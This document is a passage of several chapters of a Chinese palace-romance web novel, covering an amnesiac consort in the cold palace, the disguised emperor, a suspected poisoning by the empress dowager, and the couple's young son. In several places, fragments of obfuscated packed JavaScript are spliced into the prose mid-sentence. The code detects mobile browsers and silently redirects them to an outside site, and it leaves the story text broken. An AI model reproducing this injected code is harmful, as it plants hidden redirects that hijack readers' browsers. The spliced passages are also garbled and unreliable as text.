眼见着贺江灈要起身出门,赵公公抬眼看他,欲言又止道:“陛下…安…太后回去后,就罚了安妃在福寿宫门外罚跪,大抵是气在冷宫里,安妃打翻那碗汤药的事。” 脚步顿住了,他视线扫过来,赵公公打了个寒颤,正要认罪,就听男人道:“朕今夜翻安妃的牌子,把人接来吧。” 话音落下,根本不给张公公反应的机会,贺江灈的身影已经消失在了紫宸殿。 张公公看着外面茫茫夜色,心头不禁有些恍惚。 这马上就到了就寝的时间了,陛下诏安妃侍寝,他自己… 如果没有看错的话,陛下方才才去的,分明是冷宫的方向。 所以…他这次难得大发慈悲,帮安妃这一次,不过就是因为安妃救了冷宫里的那位吧。 看来这时间不管过去五年还是十年,那位在陛下心里永远是胜于别人的。 张公公再不敢犹豫,连忙带了人去福寿宫传旨。 而此时冷宫里,一盏微弱的烛火摇摇晃晃,晋明鸢翻遍了整个房间,好不容易找了把生锈的剪刀,正打算趁着贺云瑄休息了,将那贵妃送来的狐裘拆了。 还没来得及动手,只听咣当一声,门被人从外面推开,贺江灈沉着一张脸,目光正盯着她手里的剪刀:“你在做什么?” 在听到动静的时候,晋明鸢眼睛里本来还染了些许的警惕,在看清楚来人时,她登时放松了下来,没好气道:“你吼什么?自己没长眼不会看?” 好似施舍给对方一个眼神已经是她的大度,晋明鸢很快就又垂头继续摆弄手里的大氅。 眼见着她手里的剪刀又要落下,贺江灈疾步上前,赶在那件大氅被糟蹋了之前从她手里抢了过来:“这衣服招你惹你了,你拆它做什么?” “你瞎呀,马上就冬天了,这鬼地方四面透风,过两天还不知道有多冷呢,这玩意儿拆了,刚好给儿子做身衣服。”晋明鸢道。 贺江灈的手蓦地收紧,眼睛也略微的沉了几分,明明在太后面前时,他还是一派的风轻云淡,可此刻面对晋明鸢,他的那股子镇定好像轻而易举的就被面前的人瓦解。 “你要拿这个给他做衣裳?”他问。 “不然呢?这儿除了这东西以外,还有什么能用的?给我。”晋明鸢话里的不耐愈发的明显,根本不等贺江灈的反应,她就起身扑过来要抢被贺江灈拿走的大氅。 只是她还没能如愿碰到大氅,贺江灈就已经将东西收到了身后,晋明鸢登时大怒:“你做什么?抢老娘的东西是不是?别逼老娘扇你啊。” 话说着她已经挽了袖子,那手像是下一刻就能对着贺江灈的脸挥过来一般。 贺江灈看着她张牙舞爪的模样,瞳孔深处有些微的情绪晃动,但很快就被他压了下去。 他自己上前两步,一只手就将晋明鸢两只纤细的手腕完全包住,另一只手一甩,那件大氅便被他罩在了晋明鸢身上:“这是给你的,别糟蹋…别糟蹋了贵妃一片心意。” 他站在晋明鸢的背后,晋明鸢看不到他的脸,只听他那句略有深沉的话,她脸上闪过几分错愕,拧着脖子往后转,勉强能看到男人冷硬的下颌。 明明依旧看不清神色,但是她却好像在对方那道下颌线里得到了很多信息,她忽然一笑:“哦豁,把贵妃的心意看得这么重要,你不会对贵妃也有意思吧?” 像是发现了什么天大的秘密,晋明鸢煞有介事的点了点头,觉得自己这个猜测很有道理,但很快,她脸色就冷了下来,猛地抽出了自己的手,反手就朝着背后甩了过去。 一巴掌结结实实的打在了贺江灈的肩膀上,她怒道:“好你个负心汉,这五年我与儿子在这里吃糠咽菜,你连面都不露一次,原来是早就对人家高贵的贵妃有了想法,看老娘今天不打死你个负心汉。” 越是说下去,晋明鸢越觉得自己简直是抓住了这男人的把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482373|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柄,想到自己那瘦的皮包骨头的儿子,她拳头挥的极快,如雨点一样朝着贺江灈砸下来。 伴随着她的动作,那件披在她身上的大氅从肩头滑落下来,贺江灈略微弯腰,将她连带着大氅一起扛了起来,他沉声道:“晋氏,别这么荒唐。” 伴随着话音落下,他已经将晋明鸢连人带大氅一起丢到了床上,身子压下来,重新将她两只手反剪在头顶:“你能不能先丢掉你的脑子冷静一下?” 那是生了什么无厘头的脑子?惯会胡思乱想。 明明之前还不这样的,怎么只是个失忆,就像是换了个脑子一样? “我荒唐?你怎么不说你自己薄情冷血?瞧你这来去自由的模样,想来也是有些权势的,可却整整五年不来看儿子一眼,儿子瘦成那样,你也无动于衷,对贵妃送来的狐裘倒是这么宝贵,我说的话哪句不对了?”晋明鸢道。 她又想故伎重施,将自己的手抽出来,可这次男人握得紧,任凭她把自己的身子扭的像蛇一般扭曲不止,也没有办法成功把手抽出来。 这种被人拿捏的感觉,晋明鸢很不喜欢,在看向面前的男人时,她眼睛里的厌恶嫌弃几乎要溢出来。 偏生男人也不知在想什么,面对她的抗拒,只是凭着一张脸一言不发。 他的这份沉默落在晋明鸢眼里,显然像是被说中了心事,晋明鸢深吸一口气,呸的一口唾沫,对着他的脸就吐了过去。 贺江灈瞳孔猛地一阵收缩,哪怕回过神来立刻去躲,还是被唾沫星子溅到了脸上。 他胸腔一阵起伏,再也没办法压抑住自己的怒意:“你又做什么?” “我做什么?你怎么不先问问你自己在做什么?大半夜跑到我这儿来,怪我糟蹋贵妃心意,老娘没把你打死,你就谢天谢地吧,还不松手?”晋明鸢怒道。 她略微偏头,看着那件被她压在身下的大氅,眼睛里都闪过了些许的厌恶。 第28章 这五年做什么了 啧,真是好样的,那贵妃白日把东西给她送来,晚上就有人来为贵妃打抱不平了。 东西已经送给她了,她拿来给儿子做件衣服有什么不行的?难道那所谓贵妃的心意比她儿子的命还重要吗? 越是想下去,晋明鸢越是觉得怒不可遏,她道:“你还不松手是吧?再不松开老娘吐你一脸啊。” 贺江灈自问自己这一辈子也算是受过很多威胁,可从来没有哪一句比这句有用。 意识还没有反应过来,手已经松开了晋明鸢,身子更是迫不及待的后退两步,与她拉开了距离,他才在心里兀自才松了口气。 粗鲁,荒唐,他真是想不开,才跑这儿来看她。 手恢复了自由,晋明鸢揉了揉有些发酸的手腕,大咧咧的坐在床边:“看什么看?还不走?” 她一点儿也不觉得自己的行为有什么不妥,反而还是那副理直气壮的姿态。 贺江灈冷着脸,兀自将自己的怒火压下去。 他看了一眼屋里新换过的桌椅,又看像那件鲜艳的狐裘大氅,在开口的时候,声音已经平静了下来:“晋明鸢,你做事之前不动脑子吗?拆了狐裘给你儿子做衣裳,你先问问你自己会做针线活吗?” “我…”晋明鸢和面前这个男人并不对付,听到对方开口,她当即就要反驳,可是才说了一个字,她忽然就有些心虚。 她本来也不确定自己会不会这些,可今日晚上翻遍了整间屋子,才找到一把生锈了的剪刀,就连她自己抓剪刀时也觉得陌生,她就知道她八成是不会的。 底气消散了一点,晋明鸢很快就想反驳,赶在她说话之前,贺江灈道:“你做不来绣活,就算是把这件大氅拆了,也做不出合身的衣裳,倒不如留着大氅…” “我做不做得出来关你什么事?老娘的事什么时候轮得到你一个负心汉指手画脚?你…” “晋明鸢!”贺江灈深吸一口气,那好不容易压下去的火气又有隐隐攀升的趋势,他强行压着怒火一鼓作气道,“我会让人给他送合适的衣服,这大氅你自己留着,别再拆了。” “你说真的?”晋明鸢问,她眼睛亮了亮,比起自己做衣裳,她还真是信不过她自己。 不得不说,贺江灈这两句话实打实的说到了她的心坎上。 贺江灈看着她那双发亮的眼睛,看着她终于算是冷静了下来,心里却并没有什么预想中的高兴,反而更多的是烦躁。 他还没有说话,晋明鸢自己又想明白了什么,她道:“行啊你,为了保护贵妃的心意,这是下血本了啊? 我们小瑄瑄还真是可怜,摊上你这么个没良心的爹,在这里吃糠咽菜,受苦不断,想要件衣裳还得看那贵妃的面子。 你说老娘当年到底是中了什么邪,怎么就跟你这么个负心汉生了孩子?” 说话间她站起了身,一步步的朝着贺江灈走来,还煞有介事的弯腰去看贺江灈的脸,就好像是要从贺江灈脸上找到自己想要的答案一样。 贺江灈自知和她争执,没有半点用处,他只当没听见晋明鸢的话,自顾自的倒了盏茶,等她自己冷静下来。 没等到回应,晋明鸢兀自拿手肘撞了他肩膀一下:“喂,你当初怎么骗了老娘给你生孩子的?凭你这张脸吗? 啧,若真是如此的话,老娘之前还真肤浅呢,你虽然长得是有点好看,可仔细看来也就那么回事嘛,这天底下肯定有比你好看的男人,哎,看来那时老娘还是太年轻,见识少,才被你哄骗了。” “不是。”杯中的水还没喝下去,贺江灈已经按耐不住接上了晋明鸢的话。 和这女人接触,不是他自以为保持沉默就能躲过对方无厘头的话,贺江灈又一次深吸一口气,他直接切入正题:“今日安妃给你送来了许多米面?那些东西你不要动,我…” 话还没有说完,贺江灈就看到晋明鸢那只手对着他的脑袋抬了起来,他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482374|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得额头上的青筋突突乱跳,伸手就攥住了晋明鸢的手腕补充道:“等会儿我会让人送新的米面过来,把那些东西替换掉,不会饿着你儿子。” 最后几个字,他话里的恼怒几乎要掩饰不住。 那些东西虽然是安妃送来的,但毕竟是经过了太后的,和太后有关的,就不得不防。 今日太后已经迫不及待到拿着贵妃的汤做手脚了,那些米面未必都是干净的。 听他说替换,晋明鸢略微抿了一下唇,也想到了那只倒在院里的**,心里渐渐的冷静下来,内心深处也升起了些许的后怕。 别人送来的东西,尤其是吃食,确实… 她转而又看向了贺江灈:“那你送来的东西就干净吗?我怎么能确定你不是为了讨贵妃欢心害我儿子?” 她盯着贺江灈那一双黑沉沉的眼睛,越想越觉得有这个可能。 这人把她与儿子丢在冷宫五年不见,却对贵妃送来的一件大氅那么宝贵,说不定他早就想要害死她们给贵妃表忠心了。 “晋明鸢!”贺江灈那好不容易平静了些许的胸口又起伏不定,他没好气的道:“脑袋不好用就让它好好歇着,别在这里想什么阴谋论,我若有那心思,何至于等五年?” “你说谁脑袋不好用呢?”晋明鸢虽然恼怒,但还是注意到了贺江灈后面那句话,她又小心翼翼的确定道,“你真有那么好心?那这五年你做什么去了?” 那五年… 贺江灈脸色沉了又沉,他目光在晋明鸢脸上停留许久,都没能说出话来。 那五年,他们闹得不可开交,她把他拒于千里之外,往往面对面连一句话都说不上,久而久之… 他再没踏足冷宫半步,她也从未出过冷宫半步。 对上她那双尽是怀疑的眼睛,贺江灈随便扯谎:“我之前不在京中,如今回来自然是要补偿你们,比起这宫里的其他人来,我明显更可信,不是吗?” 第29章 她怎么敢 晋明鸢低着头,似是在沉思他话里的真假。 贺江灈生怕她一开口,再说出什么惊世骇俗的话来,于是干脆赶在她开口之前又补充道:“阿鸢,你不信我,难道还不信自己吗? 我若是坏人,你当年也不会跟我生下云瑄吧,你该相信自己的眼光的。” 后半句话说出来的时候,贺江灈的声音都放的轻了几分,他的手在袖子里略微收紧,眼睛里隐隐染了些许的隐忍之色。 他一双眼睛望过来,眸子里亦是一片暗沉。 晋明鸢难得安静下来,认真的抬眼看他,两个人视线相撞,明明对面的人对她来说也是个陌生人,可晋明鸢好像能看穿对方眼里的认真。 烛火摇摇曳曳,火红的烛光映照在人的脸上,撒下来的是一片温热,连带着房间里的温度都好像染了些许的热意。 这样的感觉让晋明鸢有些不习惯,她率先撇开了脸:“以前是以前,谁知道你现在什么想法?贵妃送来的一件衣裳你这么宝贝,说不定你早就与她一条心了呢? 人家现在金尊玉贵,随便抬抬手就能给你无上荣誉,哪像我,带着儿子幽居冷宫,我若就这么信了你,怕是哪日贵妃想要我们娘俩的性命,你怕是探过来的第一把刀吧。” 因为不适,又或者是掩盖自己的那份不自在,晋明鸢再说话的时候,语气又是一如既往的尖锐。 相信她自己的眼光? 人人都说她与贵妃是好姐妹,可今日她只见了贵妃一面,就生出了怪异的感觉,只凭这一点,晋明鸢就觉得自己曾经的眼光实在不好恭维。 至于这个男人… 能不能信还真的有待考量。 她现在可不只有自己,她还有小瑄瑄呢,她可不能把小瑄瑄的命当儿戏。 只想到这一层,晋明鸢再看贺江灈时,眼睛里已经染了明显的警惕。 贺江灈并没有错过她的视线变化,他的视线沉了又沉,手在袖子里不断的收紧,手腕上的青筋节节绷紧,但在对上晋明鸢那双理直气壮的眼睛时,握紧的手又骤然松开了。 他没办法跟一个没有记忆的人计较,也没有必要。 可是视线在重新落在晋明鸢的脸上时,他还是深吸了一口气:“不会,阿鸢,我不会因为任何人伤你,永远都不会。” 他没有靠过来,两个人之间隔着有一小段距离,但是低哑的声音就像是贴着晋明鸢耳边响起的一样。 晋明鸢视线晃动,她揉了揉耳朵:“要死啊你,说话就说话,谁要听你劳什子的保证,这虚无缥缈的玩意儿,也就骗骗无知小姑娘,别在老娘面前摆弄,老娘才不信呢。” 方才还有一点郑重的气氛被她短短两句话搅得荡然无存,贺江灈那只抬起来想要扶她肩膀的手蓦地收紧,他的耐心也几乎要到了一个临界点。 对牛弹琴,莫过于如此。 他干脆道:“那你想怎么样?不信我,难道信太后,信安妃?” 晋明鸢摇头,安妃还能不能信,还另说,那太后… 死在她院子里的那只**,还让她心有余悸,差一点喝了那碗汤的就是她与云瑄… 看出她的迟疑,贺江灈又问:“你到底有什么顾虑,可以直接说出来,阿鸢,你应该知道,如果我想动你,不会等到五年后的今天。” “你以后每天都来陪我与云瑄用饭。”晋明鸢忽然开口,提出了自己的要求。 这男人未必可信,可比起他来,太后明显更不可信,云瑄还那么小,断不能不吃不喝,那么唯一的办法就是连带着他一起。 如此大家都吃一样的东西,要死也是一起死,晋明鸢觉得这很合理。 她自以为找到了一个极好的解决办法,却完全没有注意到旁边的贺江灈脸色已然阴沉到了极点。 “你要我,每日来陪你用饭?你是不是忘了你自己什么身份?”他问。 晋明鸢当然知道她什么身份,但她混不在意:“那又怎么了?我与你孩子都有了,如今妃嫔的身份亦是名存实亡,你那么有本事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482375|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入冷宫如无人之境,每天饭点过来陪儿子吃顿饭有什么难的?还是说你心虚了,你就是想毒死我们母子二人?” 她目光灼灼的望过来,眼睛里的探究明显。 可贺江灈关心的根本就不是这个。 贺江灈又冷着脸重复:“你别忘了,你还是皇帝的女人。” 这女人未免太过于荒唐,也太过于胆大包天。 就算失忆了,她如今的处境也该清楚吧?随便在甬道上拉着个不认识的男人认做奸夫带回来也就罢了,如今竟然还敢让奸夫日日来陪她,她到底把自己这个皇帝放在何处? 她怎么敢… “那又怎么了?旁人都说我与他五年未见,他还记不记得我这号人都不一定。 他如今只怕一颗心全在他的贵妃身上,根本不可能注意到我的。 你怕什么?你只要日日像今日这般悄悄的来,隐秘一些,他怎么可能发现得了?”晋明鸢摊摊手,自觉自己说得很有道理。 那个皇帝左一个贵妃,右一个安妃,还不知有多少她没见过的贵人美人呢,日日在那花团锦簇里,怎么可能还记得五年前就被丢进冷宫的自己? 纵使刚醒过来的时候,她还觉得自己曾身为那人的正妻,却不明不白的被丢进冷宫,很是不忿,但现在看着面前这个与她宝贝儿子生得极像的人,她已经释然了。 左右是自己做的孽,她也没理由去怪那皇帝薄情寡义,如今她唯一的念想就是把她的宝贝儿子健健康康的养大。 至于面前这个… 疑似自己儿子亲爹的负心汉,那自然是能利用就往死里利用。 这会儿晋明鸢已经完全忘记了,她在不久前,还答应贺云瑄不与此人接触的。 而贺云瑄亦是不知,自己只是睡了一觉,他娘就自作主张给他留了个陪吃饭的爹。 久久没等到回应,晋明鸢用手肘捅了男人一下:“你怎么不说话?到底答不答应?莫非真是心虚了,换米面是假,想下毒是真?” 第30章 除了晋娘娘是例外 一番话说完,没有等到男人反驳自己的猜测。 晋明鸢视线已经控制不住的朝着四周环顾起来,试图找一件趁手的工具,先将这人打**事。 目光很快瞄准了那根用来教训芙蕖和柳枝的烧火棍,还不待她过去把那东西拿在手里,她就先听到了男人妥协的声音:“好,我答应你,不过…” 他声音顿了顿,眸光阴沉:“等你见到皇帝的那天,希望你不会后悔今天的说辞。” “行了吧你,还威胁上老娘了。”他阴郁的话并没有带来想要的结果,晋明鸢反而噗嗤一声笑出了声,挥起一拳捶到了他的胸口上,“等见到皇帝那天我怎么样不一定,倒是你哦,肯定没命活,所以…你可得小心点,苟住自己小命好好养家。” “家?”贺江灈抿唇,一个字眼从唇齿间轻轻溢出来,眸光里情绪愈发复杂。 家… 这偏僻破烂的院子,陈旧漏风的房间,她管这儿叫家? 胸口处某个位置一片滚烫,贺江灈的记忆好像被拉回了那年他们大婚时,铺天盖地的红绸里,她好像也说过类似的话。 “怎么,你又有意见?”晋明鸢不知贺江灈在想什么,又拿手肘撞了他一下。 贺江灈很快回神,这次却没有丝毫的反驳,只是兀自点头:“好,以后我来养你。” 他换了概念,没有如她一般说出那个字,余光略微一瞥,视线仿佛能透过墙壁扫向旁边的偏殿。 家… 他的家从来都只有她,只容得下她,至于那个… 他心底嗤笑一声,呵,没关系的,她执意留着,那就当个小宠物好了。 阿鸢如今失忆了,正是需要依靠的时候,他不会做让阿鸢不安的事的。 晋明鸢听出他话里些微的古怪,只是皱眉看他一眼,却懒得在这些细枝末节的小事上与他争论。 贺江灈道:“睡吧,我让人轻一点,明日早上厨房里的东西就换掉了。” 说话间,他的目光垂下来,视线落在地板上。 青石板地面早就干了,再看不到一点儿被汤汁洇湿的痕迹,可是贺江灈却好像依旧能看到打碎的碗,加了**的汤药,以及差一点… 他前脚出宫围猎,晋明鸢后脚失足坠井,从来不理会冷宫的太后迫不及待的送来毒汤。 在她失忆之前,到底做了什么,为什么偏就引了太后的注意。 “还有小瑄瑄的衣服,你别忘了。”晋明鸢提醒了一句,目光又落在了那险些被她毁掉的狐裘大氅上。 排除掉那东西是贵妃送来的以外,不管是配色还是料子,那件大氅她见到第一眼的时候就喜欢,若是真拆掉的话,其实她心里是有一些可惜的。 但如果小瑄瑄有衣服穿,那大氅便也可以留下了。 “嗯。”贺江灈瓮声瓮气的应了一声,余光又一次瞥向旁边的墙壁。 啧… 碍事的小东西,就算只是把他想象成宠物,也让人喜欢不起来。 若不是他与阿鸢血脉相连… 贺江灈没有再细想下去,身影很快就淹没在冷宫的夜色里。 而在冷宫一墙之隔的外面,暗一正立在枯井前,看着裹挟着夜色而来的男人,他恭敬道:“陛下,属下查到之前死的那名宫女曾与晋娘娘多次接触,这些年来晋娘娘常拖她卖些木雕之类的小物件。 按照晋娘娘与那宫女联络的频率来算,正好是今日,想来便是晋娘娘找不见人,才冒险出冷宫的,属下已经查过,那小宫女就是御膳房的一个普通宫女,之前与冷宫的余嬷嬷有些联系,从而认识的晋娘娘,她与晋娘娘之前的交易并无猫腻。” “并无猫腻?”贺江灈转动着手腕上的白玉扳指,目光盯着月色下几乎一眼望不到底的枯井。 “这…确实是这样的,这宫女亦是失足坠湖,她去世的地方在御花园,与冷宫相距甚远,和晋娘娘…” “你是想说,你依旧没有查到什么有用的信息?”没有等暗一说完,贺江灈就直接反问一句。 暗一脸色一白,沉默的低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482376|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了头。 贺江灈道:“朕要听的不是一个宫女的死因,朕只想知道她为什么坠井。” 白玉扳指从手指上脱落,坠到那深不见底的枯井里,就像是落进了没有尽头的深渊,并不能发出一丝一毫的声响。 也像极了那个女子,落下去时无声无息。 “属下…” “废物。”贺江灈声音微冷,手探出去,指向一个方向,“从这儿往前走,沿途查,细细查,朕今夜就要答案。” 他并没有明说,可暗一一眼望过去,一下子就判断出,那是冷宫通往福寿宫的方向。 对上男人微冷的眉眼,暗一忽然心领神会,他躬身行了个礼:“陛下,属下们寻到了太后娘娘的耳坠,猜想太后娘娘必是来过这里,晋娘娘坠井一事许是与太后有关。” “哦?耳坠呢?”贺江灈道。 “属下这就去取。”只听他这一句话,暗一就明白是自己猜对了。 他正要离去,男人不轻不重的嗓音传来:“可要看仔细了,莫要取错了证物。” 这是在提醒他,记准太后今日戴的是哪副耳坠,也就证明今日这一关他确实过了。 只是离开了贺江灈,他这一颗心依旧是心有余悸,久久没法平静。 他们这位陛下从来都不是被动等待的性格,他素来如此,只要有怀疑的对象,就会主动出击,哪怕没有证据,也要自己创造证据。 他从来不会让自己陷在被动的局面上。 引蛇出洞,请君入瓮,这些手段自他在皇子时期就玩的出神入化,哪怕暗一跟了他那么多年,有时还是跟不上他的想法。 暗一一直觉得,陛下在任何时候都是无懈可击的。 除了… 面对晋娘娘。 好像只有在晋娘娘面前,他们这位陛下才会有破绽,有情绪,甚至不知所措。 秋夜的风带着无边的萧索,暗一在仓促回头的时候,枯井边已经不见了陛下的身影,能看到的只有冷宫大片破损的红墙。 第31章 娘亲,别不高兴 早上晋明鸢醒来的时候,已经不见了贺江灈的身影,屋里静悄悄的,就好像昨天的一切都是一场幻觉一样。 除了… 晋明鸢伸手一摸,就在自己枕边摸到了几件崭新的衣裳,可以看出来,那些衣裳都是贺云瑄这个年纪的孩子穿的。 只是样式却并不是宫里的制式,当是他连夜去外面的集市上买来的成衣。 但不管如何,只要想到贺云瑄能换下那身旧衣,晋明鸢就满意了。 她三下五除二的收拾好了自己,献宝一样抱着那堆衣服去了隔壁贺云瑄房里。 贺云瑄刚醒来正要换衣服,一见晋明鸢乍然闯进来,一张小脸都绷得紧了几分,他略有紧张的伸手抓住了被子的一角:“娘亲,你怎么这么早就过来了?” “当然是给我们小瑄瑄送衣服,别穿你那些旧衣裳了,娘给你拿了新衣服过来。”晋明鸢话说着,抬脚朝着贺云瑄走了过来。 “新衣服,你真的把那狐裘拆掉了?”乍一听到她的话,贺云瑄连声音都尖锐了几分,“你自己都没有件过冬的衣服,你那房子比我这儿还不如,那狐裘你拿着做件被子也好,你…” “小瑄瑄,你这么着急做什么?那狐裘可是我们小瑄瑄亲口帮我讨来的,是我们小瑄瑄的心意,我怎么会拆了呢?来,试试这些衣服合不合身。” 晋明鸢一边安抚着贺云瑄,一边到了贺云瑄的身边,将那四套秋衣都摆在了贺云瑄的身边:“看看喜欢哪个,娘帮你换。” “你从哪里弄来的这些?”贺云瑄眼睛里闪过了明显的警惕,在抬眼看向晋明鸢的时候,甚至视线里已经多了质问的意味。 他在这冷宫里被叫野种被骂畜牲,所有人看到他,眼里都是鄙夷,就好像是在看一件肮脏的垃圾一样,贺云瑄自觉不可能有人会施舍给他这样好的新衣。 除了… 贺云瑄脑海里浮现出了一个过分高大的人影,他脸上警惕之色更甚:“娘亲,这衣服是不是…” “哎呀,小瑄瑄,你这么严肃做什么?你这是在质问娘亲吗?”晋明鸢被贺云瑄那双眼睛盯得有些心虚。 没有等对方把话说完,她目光就明显的躲闪了些许,顺手拿了一件衣裳,朝着贺云瑄身上比量两下,她转移话题:“小瑄瑄,这件靛青色的衣服倒是挺适合你的,娘帮你换上看看好不好?” 另一只手顺势伸出去,她就要扯贺云瑄身上的被子,贺云瑄小脸上又是一阵紧张闪过,连忙挡住了她的手:“娘亲,我…我自己来吧。” “为什么?娘帮你换不好吗?”晋明鸢能看出贺云瑄脸上的窘迫。 小孩一张脸都垮了下来,长长的睫羽压下来,在脸上扫落下来一片明显的阴影,就算他有意的将头低下,晋明鸢依旧能看到他那无措的抿紧的嘴巴。 晋明鸢觉得,她这个儿子小小年纪却总是故作老成,好像也只有在这一刻看起来才像个孩子的模样。 像是忽然找到了乐趣,她有意的想要逗弄贺云瑄,被挡开的时候又一次伸了过去,她道:“小瑄瑄,跟娘客气什么?不就是帮你换件衣裳吗?这天底下哪个母亲没帮孩子换过衣服? 之前的事娘不记得了,但你该不会连娘亲这样小小的心愿都不满足吧?” “我…”贺云瑄红着脸,连耳垂都染了些许的红,他揪着被角的手握紧又松开,小心翼翼的看了晋明鸢一眼。 他那副犹豫的模样,看得晋明鸢心里骤然一疼,随即她就后知后觉得想起了从旁人口中听的那些话,她好像失忆之前从来没管过这个孩子的。 今日这些,对她自己来说是毫无不在意的玩笑,可是对贺云瑄来说… 晋明鸢知道,自己到底是操之过急了,她刚想改口,就听到贺云瑄声音闷闷的道:“我已经是大孩子了,于嬷嬷说大孩子不能总想着娘亲,不过你如果想的话,那就随便你吧。” 他一张小脸依旧绷得紧紧的,还能听出话里的别扭来。 尽管他话里能听出来,他刻意表现的不在意,可是晋明鸢依旧能感觉到他那份小心隐藏着的不安。 心头像是被重锤闷闷的敲了一下,晋明鸢有些喘不过气来。 所以这些年他每次想要靠近自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482377|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,都是这样自我安慰的吗? 暗示自己是个所谓的大孩子,学着大人的模样,老成深沉,一点点的就磨灭了孩子的天性。 只是粗略的一想,晋明鸢的眼睛就红了几分,她还没有说话,倒是贺云瑄已经慌了神,伸手抓住了她的手道:“娘亲,你别不高兴,我不是要抗拒你的,我只是…只是不想麻烦你。 如果这是娘亲想做的事,云瑄都听娘亲的,娘亲不要难过,不要生云瑄的气好不好?” 他小手抬起来,在晋明鸢的眼角出抹过,脸上的担忧之色怎么也掩不住,但更多的还是自责。 晋明鸢没想到,自己无意识的一个小动作,就让贺云瑄想了那么多,她赶紧挤出了个笑,摸了摸贺云瑄的脑袋:“娘亲怎么会生小瑄瑄的气呢?乖,以后娘亲会好好照顾你的,一定不会再让你一个人了。” 她一定不能再留她的小瑄瑄一个人胡思乱想了,这孩子明明正是天真活泼的年纪,却因为自己不知道抽的什么风,硬是养的这么自卑敏感,只是看看就让她觉得心疼。 绕是晋明鸢平日里话多聒噪,这会儿嗓子也有些发哽,她闷不做声的帮贺云瑄换好了衣服,期间又看到了对方称得上瘦骨嶙峋的身子,脸上的愧疚更甚。 就在晋明鸢想说些什么打破一下屋里有些沉寂的气氛时,忽然听得外面好像传来了一阵杂乱的声响,那动静似是从厨房的方向传来的。 晋明鸢一下子就想到了昨日那忽然出现的男人,难道是他如约回来了? 那… 还没等她想好怎么和贺云瑄解释,贺云瑄已经踩上鞋子有些急切的道:“可能是有老鼠,我得过去看看。” 这冷宫寻常房子都破旧,那厨房更是挡不住什么东西,有老鼠是常事。 只是… 之前厨房空荡荡的,便是老鼠进来了,那也得饿着肚子出去,可现在却不一样,安妃才送来了那么多米面,段不能被糟蹋了。 贺云瑄走得很快,晋明鸢想拦已经拦不住了,尽管她马上跟了上去,但到了小厨房的时候,似乎依旧晚了。 第32章 娘亲,你选他也不选我吗 面前的场景可以称得上是混乱。 贺云瑄和贺江灈正遥遥相对,两个人的身高有着明显的差距,但那气势却是无比想象。 尤其是那针锋相对的气场,竟是分豪不差。 贺云瑄站在门口,手里还拿着他之前用来割韭菜的那把锈掉的镰刀,而在厨房里,贺江灈手里拎着的赫然是一把滴着血的菜单,在他另一只手里,还卡着只肥硕的鸡,地上满地的鸡毛散发着腥味,鲜红的血更是溅的到处都是。 如果不是一眼看到那只鸡,这场景活活的就是一出**现场。 “你怎么会在这里?”贺云瑄绷着一张脸,有些没好气的质问道。 贺江灈只是嫌弃的看了一眼他手里高举着的镰刀,就收回了目光,又拎着菜单处理起手里的那只鸡来。 他今日只穿了一件再普通不过的黑衣,从衣服到鞋子,都找不到一节花纹。 这样的打扮过分的朴素,这黑衣也不是什么价值不菲的料子,就是市面上最普通不过的布料,可偏偏穿在他身上,却又好像平白染了几分威严的意味。 